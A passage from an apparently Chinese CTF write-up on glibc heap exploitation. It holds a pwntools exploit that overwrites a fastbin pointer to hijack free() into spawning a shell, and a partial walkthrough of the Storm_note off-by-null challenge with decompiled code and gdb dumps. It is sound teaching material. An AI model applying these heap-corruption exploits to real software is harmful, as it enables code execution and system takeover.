class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">malloc_chunk</span> &#123;</span></span><br><span class="line"></span><br><span class="line">  INTERNAL_SIZE_T      prev_size;  <span class="comment">/* Size of previous chunk (if free).  */</span></span><br><span class="line">  INTERNAL_SIZE_T      size;       <span class="comment">/* Size in bytes, including overhead. */</span></span><br><span class="line"></span><br><span class="line">  <span class="class"><span class="keyword">struct</span> <span class="title">malloc_chunk</span>* <span class="title">fd</span>;</span>         <span class="comment">/* double links -- used only if free. */</span></span><br><span class="line">  <span class="class"><span class="keyword">struct</span> <span class="title">malloc_chunk</span>* <span class="title">bk</span>;</span></span><br><span class="line"></span><br><span class="line">  <span class="comment">/* Only used for large blocks: pointer to next larger size.  */</span></span><br><span class="line">  <span class="class"><span class="keyword">struct</span> <span class="title">malloc_chunk</span>* <span class="title">fd_nextsize</span>;</span> <span class="comment">/* double links -- used only if free. */</span></span><br><span class="line">  <span class="class"><span class="keyword">struct</span> <span class="title">malloc_chunk</span>* <span class="title">bk_nextsize</span>;</span></span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>我们知道，我们申请出来的chunk最少是32位，然而chunk的大小至少是16的倍数，我们申请小于24位的chunk，其实申请出来大小是32位，也就是：</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">prev_size + size + fd + bk</span><br></pre></td></tr></table></figure><p>我们申请两次chunk之后的情况：</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> c</span></span><br><span class="line">Continuing.</span><br><span class="line">1 0</span><br><span class="line">24 aaaaaaaa</span><br><span class="line"><span class="meta">&gt;</span></span><br><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> c</span></span><br><span class="line">Continuing.</span><br><span class="line">1 1</span><br><span class="line">24 bbbbbbbb</span><br><span class="line"><span class="meta">&gt;</span></span><br><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> x/20gx 0x602660-16</span></span><br><span class="line">0x602650:0x00000000000000000x0000000000000000</span><br><span class="line">0x602660:0x00000000000000000x0000000000000021 # prev_size + size</span><br><span class="line">0x602670:0x61616161616161610x0000000000000000 # fd + bk</span><br><span class="line">0x602680:0x00000000000000000x0000000000000021</span><br><span class="line">0x602690:0x62626262626262620x0000000000000000 # 同上</span><br><span class="line">0x6026a0:0x00000000000000000x0000000000020961</span><br><span class="line">0x6026b0:0x00000000000000000x0000000000000000</span><br><span class="line">0x6026c0:0x00000000000000000x0000000000000000</span><br><span class="line">0x6026d0:0x00000000000000000x0000000000000000</span><br><span class="line">0x6026e0:0x00000000000000000x0000000000000000</span><br></pre></td></tr></table></figure><p>我们释放两次chunk之后的情况：</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> c</span></span><br><span class="line">Continuing.</span><br><span class="line">2 1</span><br><span class="line"><span class="meta">&gt;</span></span><br><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> c</span></span><br><span class="line">Continuing.</span><br><span class="line">2 0</span><br><span class="line"><span class="meta">&gt;</span></span><br><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> x/20gx 0x602660-16</span></span><br><span class="line">0x602650:0x00000000000000000x0000000000000000</span><br><span class="line">0x602660:0x00000000000000000x0000000000000021</span><br><span class="line">0x602670:0x00000000006026900x0000000000000000</span><br><span class="line">0x602680:0x00000000000000000x0000000000000021</span><br><span class="line">0x602690:0x00000000000000000x0000000000000000</span><br><span class="line">0x6026a0:0x00000000000000000x0000000000020961</span><br><span class="line">0x6026b0:0x00000000000000000x0000000000000000</span><br><span class="line">0x6026c0:0x00000000000000000x0000000000000000</span><br><span class="line">0x6026d0:0x00000000000000000x0000000000000000</span><br><span class="line">0x6026e0:0x00000000000000000x0000000000000000</span><br></pre></td></tr></table></figure><p>因为fastbin是单链表，所以我们free两次会得到一个单链表:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">Fastbin[1]-&gt;</span><span class="bash">0x602670-&gt;0x602690</span></span><br></pre></td></tr></table></figure><p>当我们再次申请相同大小的chunk的时候，作合适的写入操作就可以覆盖下一个chunk的内容：</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> c</span></span><br><span class="line">Continuing.</span><br><span class="line">1 2</span><br><span class="line">24 cccccccccccccccccccccccccccccccc</span><br><span class="line"><span class="meta">&gt;</span><span class="bash"> </span></span><br><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> x/20gx 0x602660-16</span></span><br><span class="line">0x602650:0x00000000000000000x0000000000000000</span><br><span class="line">0x602660:0x00000000000000000x0000000000000021</span><br><span class="line">0x602670:0x63636363636363630x6363636363636363</span><br><span class="line">0x602680:0x63636363636363630x6363636363636363</span><br><span class="line">0x602690:0x00000000000000000x0000000000000000</span><br><span class="line">0x6026a0:0x00000000000000000x0000000000020961</span><br><span class="line">0x6026b0:0x00000000000000000x0000000000000000</span><br><span class="line">0x6026c0:0x00000000000000000x0000000000000000</span><br><span class="line">0x6026d0:0x00000000000000000x0000000000000000</span><br><span class="line">0x6026e0:0x00000000000000000x0000000000000000</span><br></pre></td></tr></table></figure><p>我们需要注意的第一点是，我们free的顺序不能乱，一旦乱了，就会导致无法覆盖到理想的chunk处，要深入理解fastbin的LIFO机制，也就是想象成栈的机制，最好的理解方式就是自己多试几次，我们需要注意的第二点是我们不能一直乱覆盖到下一个chunk的size大小，因为size代表这个chunk的大小，要是乱覆盖用‘cccccccc’替代size内容那这个chunk的大小就变成了0x6363636363636363，就不是fastbin的大小了，也就无法达到目的了，所以我们必须选择好偏移的位置，将size大小正确写入下一个chunk，然后将chunk的fd指向我们的free函数地址，然后将’sh’写入free函数的地方。</p><p><strong>exp</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">p = process(<span class="string">'./Overflow_Free_Chunk'</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">malloc</span><span class="params">(i,s)</span>:</span></span><br><span class="line">p.recvuntil(<span class="string">'&gt; '</span>)</span><br><span class="line">p.send(<span class="string">'1 %d\n24 %s'</span>%(i,s)+<span class="string">'\n'</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">free</span><span class="params">(x)</span>:</span></span><br><span class="line">p.recvuntil(<span class="string">'&gt; '</span>)</span><br><span class="line">p.send(<span class="string">'2 %d'</span>%x+<span class="string">'\n'</span>)</span><br><span class="line"></span><br><span class="line">malloc(<span class="number">0</span>,<span class="string">'aaaaaaaa'</span>)</span><br><span class="line">malloc(<span class="number">1</span>,<span class="string">'bbbbbbbb'</span>)</span><br><span class="line">free(<span class="number">1</span>)</span><br><span class="line">free(<span class="number">0</span>)</span><br><span class="line">malloc(<span class="number">2</span>,<span class="string">'a'</span>*<span class="number">24</span> + p64(<span class="number">0x21</span>) + p64(<span class="number">0x601018</span>)) <span class="comment"># free_hook</span></span><br><span class="line">malloc(<span class="number">3</span>,<span class="string">'sh'</span>) <span class="comment"># write 'sh' in ptr[3]</span></span><br><span class="line">malloc(<span class="number">4</span>, p64(<span class="number">0x4007d7</span>)) <span class="comment"># write in sh() address</span></span><br><span class="line">p.recvuntil(<span class="string">'&gt; '</span>)</span><br><span class="line">p.sendline(<span class="string">'2 3'</span>) <span class="comment"># free(3) ==&gt; system('sh')</span></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><h2 id="Off-By-One"><a href="#Off-By-One" class="headerlink" title="Off-By-One"></a>Off-By-One</h2><p>off-by-one是堆溢出中比较有意思的一类漏洞，漏洞主要原理是 malloc 本来分配了0x20的内存，结果可以写 0x21 字节的数据，多写了一个，影响了下一个内存块的头部信息，进而造成了被利用的可能，这里就以西湖论剑的一道题目来讲解这个漏洞</p><p><strong>题目链接</strong></p><p><a href="http://file.eonew.cn/ctf/pwn/Storm_note" target="_blank" rel="noopener">http://file.eonew.cn/ctf/pwn/Storm_note</a></p><p><strong>解题思路</strong></p><p>首先检测一下程序检测，该开的都开了</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">Thunder_J@Thunder_J-virtual-machine:~/桌面$ checksec Storm_note </span><br><span class="line">[*] <span class="string">'/home/Thunder_J/\xe6\xa1\x8c\xe9\x9d\xa2/Storm_note'</span></span><br><span class="line">    Arch:     amd64-64-little</span><br><span class="line">    RELRO:    Full RELRO</span><br><span class="line">    Stack:    Canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      PIE enabled</span><br></pre></td></tr></table></figure><p>首先用IDA观察一下程序，有delete_note，backdoor，alloc_note，edit_note四个功能</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"> <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      menu();</span><br><span class="line">      _isoc99_scanf(<span class="string">"%d"</span>, &amp;v3);</span><br><span class="line">      <span class="keyword">if</span> ( v3 != <span class="number">3</span> )</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      delete_note();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> ( v3 &gt; <span class="number">3</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( v3 == <span class="number">4</span> )</span><br><span class="line">        <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">      <span class="keyword">if</span> ( v3 == <span class="number">666</span> )</span><br><span class="line">        backdoor();</span><br><span class="line">LABEL_15:</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">"Invalid choice"</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> <span class="keyword">if</span> ( v3 == <span class="number">1</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      alloc_note();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( v3 != <span class="number">2</span> )</span><br><span class="line">        <span class="keyword">goto</span> LABEL_15;</span><br><span class="line">      edit_note();</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br></pre></td></tr></table></figure><h3 id="init-proc"><a href="#init-proc" class="headerlink" title="init_proc"></a>init_proc</h3><p>程序执行之前有这个初始化函数，可以看到关闭了 fastbin 机制</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">ssize_t</span> init_proc()</span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">ssize_t</span> result; <span class="comment">// rax</span></span><br><span class="line">  <span class="keyword">int</span> fd; <span class="comment">// [rsp+Ch] [rbp-4h]</span></span><br><span class="line"></span><br><span class="line">  setbuf(<span class="built_in">stdin</span>, <span class="number">0L</span>L);</span><br><span class="line">  setbuf(<span class="built_in">stdout</span>, <span class="number">0L</span>L);</span><br><span class="line">  setbuf(<span class="built_in">stderr</span>, <span class="number">0L</span>L);</span><br><span class="line">  <span class="keyword">if</span> ( !mallopt(<span class="number">1</span>, <span class="number">0</span>) )</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">  <span class="keyword">if</span> ( mmap((<span class="keyword">void</span> *)<span class="number">0xABCD0000</span>LL, <span class="number">0x1000</span>uLL, <span class="number">3</span>, <span class="number">34</span>, <span class="number">-1</span>, <span class="number">0L</span>L) != (<span class="keyword">void</span> *)<span class="number">2882338816L</span>L )</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">  fd = open(<span class="string">"/dev/urandom"</span>, <span class="number">0</span>);</span><br><span class="line">  <span class="keyword">if</span> ( fd &lt; <span class="number">0</span> )</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">  result = read(fd, (<span class="keyword">void</span> *)<span class="number">0xABCD0100</span>LL, <span class="number">0x30</span>uLL);</span><br><span class="line">  <span class="keyword">if</span> ( result != <span class="number">48</span> )</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="alloc-note"><a href="#alloc-note" class="headerlink" title="alloc_note"></a>alloc_note</h3><p>可以看到输入size之后，程序会calloc一块内存(calloc类比malloc)，存放note，而note_size则存放在note后面</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> ( i = <span class="number">0</span>; i &lt;= <span class="number">15</span> &amp;&amp; note[i]; ++i )</span><br><span class="line">  ;</span><br><span class="line"><span class="keyword">if</span> ( i == <span class="number">16</span> )</span><br><span class="line">&#123;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">"full!"</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">"size ?"</span>);</span><br><span class="line">  _isoc99_scanf(<span class="string">"%d"</span>, &amp;v1);</span><br><span class="line">  <span class="keyword">if</span> ( v1 &gt; <span class="number">0</span> &amp;&amp; v1 &lt;= <span class="number">0xFFFFF</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    note[i] = <span class="built_in">calloc</span>(v1, <span class="number">1u</span>LL);</span><br><span class="line">    note_size[i] = v1;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">"Done"</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">"Invalid size"</span>);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>note存放信息如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">bss:<span class="number">0000000000202060</span> ?? ?? ?? ?? ?? ??+note_size dd <span class="number">10</span><span class="function">h <span class="title">dup</span><span class="params">(?)</span>       </span>; DATA XREF: alloc_note+E1↑o</span><br><span class="line">.bss:<span class="number">0000000000202060</span> ?? ?? ?? ?? ?? ??+                              ; edit_note+<span class="number">8</span>E↑o</span><br><span class="line">.bss:<span class="number">0000000000202060</span> ?? ?? ?? ?? ?? ??+                              ; delete_note+BE↑o</span><br><span class="line">.bss:<span class="number">00000000002020</span>A0                   <span class="keyword">public</span> note</span><br><span class="line">.bss:<span class="number">00000000002020</span>A0                   ; _QWORD note[<span class="number">16</span>]</span><br><span class="line">.bss:<span class="number">00000000002020</span>A0 ?? ?? ?? ?? ?? ??+note dq <span class="number">10</span><span class="function">h <span class="title">dup</span><span class="params">(?)</span>            </span>; DATA XREF: alloc_note+<span class="number">2</span>D↑o</span><br><span class="line">.bss:<span class="number">00000000002020</span>A0 ?? ?? ?? ?? ?? ??+                              ; alloc_note+C6↑o</span><br><span class="line">.bss:<span class="number">00000000002020</span>A0 ?? ?? ?? ?? ?? ??+                              ; edit_note+<span class="number">57</span>↑o</span><br><span class="line">.bss:<span class="number">00000000002020</span>A0 ?? ?? ?? ?? ?? ??+                              ; edit_note+A8↑o</span><br><span class="line">.bss:<span class="number">00000000002020</span>A0 ?? ?? ?? ?? ?? ??+                              ; edit_note+D0↑o</span><br><span class="line">.bss:<span class="number">00000000002020</span>A0 ?? ?? ?? ?? ?? ??+                              ; delete_note+<span class="number">57</span>↑o</span><br><span class="line">.bss:<span class="number">00000000002020</span>A0 ?? ?? ?? ?? ?? ??+                              ; delete_note+<span class="number">82</span>↑o</span><br><span class="line">.bss:<span class="number">00000000002020</span>A0 ?? ?? ?? ?? ?? ??+                              ; delete_note+A2↑o</span><br><span class="line">.bss:<span class="number">00000000002020</span>A0 ?? ?? ?? ?? ?? ??+_bss ends</span><br></pre></td></tr></table></figure><h3 id="edit-note"><a href="#edit-note" class="headerlink" title="edit_note"></a>edit_note</h3><p>edit 从 note 和 note_size 中根据索引取出需要编辑的堆块的指针和 size，使用 read 函数来进行输入。之后将末尾的值赋值为 0，这里存在 off by null 漏洞。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">puts</span>(<span class="string">"Index ?"</span>);</span><br><span class="line">_isoc99_scanf(<span class="string">"%d"</span>, &amp;v1);</span><br><span class="line"><span class="keyword">if</span> ( v1 &gt;= <span class="number">0</span> &amp;&amp; v1 &lt;= <span class="number">15</span> &amp;&amp; note[v1] )</span><br><span class="line">&#123;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">"Content: "</span>);</span><br><span class="line">  v2 = read(<span class="number">0</span>, (<span class="keyword">void</span> *)note[v1], (<span class="keyword">signed</span> <span class="keyword">int</span>)note_size[v1]);</span><br><span class="line">  *(_BYTE *)(note[v1] + v2) = <span class="number">0</span>; <span class="comment">// off-by-one</span></span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">"Done"</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">"Invalid index"</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="delete-note"><a href="#delete-note" class="headerlink" title="delete_note"></a>delete_note</h3><p>可以看到输入 index 之后程序 free 掉 note 和 note_size 之后做了清零操作，不存在UAF漏洞</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">puts</span>(<span class="string">"Index ?"</span>);</span><br><span class="line">_isoc99_scanf(<span class="string">"%d"</span>, &amp;v1);</span><br><span class="line"><span class="keyword">if</span> ( v1 &gt;= <span class="number">0</span> &amp;&amp; v1 &lt;= <span class="number">15</span> &amp;&amp; note[v1] )</span><br><span class="line">&#123;</span><br><span class="line">  <span class="built_in">free</span>((<span class="keyword">void</span> *)note[v1]);</span><br><span class="line">  note[v1] = <span class="number">0L</span>L;</span><br><span class="line">  note_size[v1] = <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">"Invalid index"</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="backdoor"><a href="#backdoor" class="headerlink" title="backdoor"></a>backdoor</h3><p>可以看到system(“/bin/sh”);函数，函数首先读 0x30 长度，然后输入的内容和 mmap 段映射的内容相同即 getshell</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">v1 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line"><span class="built_in">puts</span>(<span class="string">"If you can open the lock, I will let you in"</span>);</span><br><span class="line">read(<span class="number">0</span>, &amp;buf, <span class="number">0x30</span>uLL);</span><br><span class="line"><span class="keyword">if</span> ( !<span class="built_in">memcmp</span>(&amp;buf, (<span class="keyword">const</span> <span class="keyword">void</span> *)<span class="number">0xABCD0100</span>LL, <span class="number">0x30</span>uLL) )</span><br><span class="line">  system(<span class="string">"/bin/sh"</span>);</span><br><span class="line"><span class="built_in">exit</span>(<span class="number">0</span>);</span><br></pre></td></tr></table></figure><h3 id="思路"><a href="#思路" class="headerlink" title="思路"></a>思路</h3><ul><li><a href="https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/chunk_extend_overlapping/" target="_blank" rel="noopener">Chunk Extend</a> 使得chunk重叠</li><li>控制chunk</li><li>控制unsort bin和large bin</li><li>overlapping 伪造 fake_chunk</li><li>触发后门</li></ul><p>这里首先我们连续申请7块chunk，这里是三个一组，两组 chunk 中的中间一个大的 chunk 就是我们利用的目标，用它来进行 overlapping 并把它放进 largebin 中</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">alloc_note(<span class="number">0x18</span>)  <span class="comment"># 0</span></span><br><span class="line">alloc_note(<span class="number">0x508</span>)  <span class="comment"># 1</span></span><br><span class="line">alloc_note(<span class="number">0x18</span>)  <span class="comment"># 2</span></span><br><span class="line"></span><br><span class="line">alloc_note(<span class="number">0x18</span>)  <span class="comment"># 3</span></span><br><span class="line">alloc_note(<span class="number">0x508</span>)  <span class="comment"># 4</span></span><br><span class="line">alloc_note(<span class="number">0x18</span>)  <span class="comment"># 5</span></span><br><span class="line"></span><br><span class="line">alloc_note(<span class="number">0x18</span>)  <span class="comment"># 6</span></span><br></pre></td></tr></table></figure><p>布局如下图</p><p><img src="https://img-blog.csdnimg.cn/20190416222922114.png" alt="在这里插入图片描述"></p><p>然后我们伪造 prev_size</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 改pre_size为0x500</span></span><br><span class="line">edit_note(<span class="number">1</span>, <span class="string">'a'</span>*<span class="number">0x4f0</span> + p64(<span class="number">0x500</span>))</span><br></pre></td></tr></table></figure><p>调试可以看到</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">gdb-peda$ x/30gx 0x55dc2ede84f0</span><br><span class="line">0x55dc2ede84f0:0x61616161616161610x6161616161616161</span><br><span class="line">0x55dc2ede8500:0x61616161616161610x6161616161616161</span><br><span class="line">0x55dc2ede8510:0x61616161616161610x6161616161616161</span><br><span class="line">0x55dc2ede8520:0x00000000000005000x0000000000000000 =&gt; fake prev_size</span><br><span class="line">0x55dc2ede8530:0x00000000000000000x0000000000000021</span><br><span class="line">0x55dc2ede8540:0x00000000000000000x0000000000000000</span><br><span class="line">0x55dc2ede8550:0x00000000000000000x0000000000000021</span><br><span class="line">0x55dc2ede8560:0x00000000000000000x0000000000000000</span><br><span class="line">0x55dc2ede8570:0x00000000000000000x0000000000000511</span><br><span class="line">0x55dc2ede8580:0x00000000000000000x0000000000000000</span><br><span class="line">0x55dc2ede8590:0x00000000000000000x0000000000000000</span><br><span class="line">0x55dc2ede85a0:0x00000000000000000x0000000000000000</span><br><span class="line">0x55dc2ede85b0:0x00000000000000000x0000000000000000</span><br><span class="line">0x55dc2ede85c0:0x00000000000000000x0000000000000000</span><br><span class="line">0x55dc2ede85d0:0x00000000000000000x0000000000000000</span><br></pre></td></tr></table></figure><p>释放掉chunk 1至unsort bin然后创建chunk 0来触发off by null，这里选择 size 为 0x18 的目的是为了能够填充到下一个 chunk 的 prev_size，这里就能通过溢出 00 到下一个 chunk 的 size 字段，使之低字节覆盖为 0。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">delete_note(<span class="number">1</span>)</span><br><span class="line"><span class="comment"># off by null 将1号块的size字段覆盖为0x500</span></span><br><span class="line">edit_note(<span class="number">0</span>, <span class="string">'b'</span>*(<span class="number">0x18</span>))</span><br></pre></td></tr></table></figure><p>调试可以看到chunk1已经被放进了 unsorted bin</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">gdb-peda$ x/20gx 0x562071ea0020-32</span><br><span class="line">0x562071ea0000:0x00000000000000000x0000000000000021</span><br><span class="line">0x562071ea0010:0x62626262626262620x6262626262626262</span><br><span class="line">0x562071ea0020:0x62626262626262620x0000000000000500</span><br><span class="line">0x562071ea0030:0x00007fe9f2875b780x00007fe9f2875b78</span><br><span class="line">0x562071ea0040:0x00000000000000000x0000000000000000</span><br><span class="line">0x562071ea0050:0x61616161616161610x6161616161616161</span><br><span class="line">0x562071ea0060:0x61616161616161610x6161616161616161</span><br><span class="line">0x562071ea0070:0x61616161616161610x6161616161616161</span><br><span class="line">0x562071ea0080:0x61616161616161610x6161616161616161</span><br><span 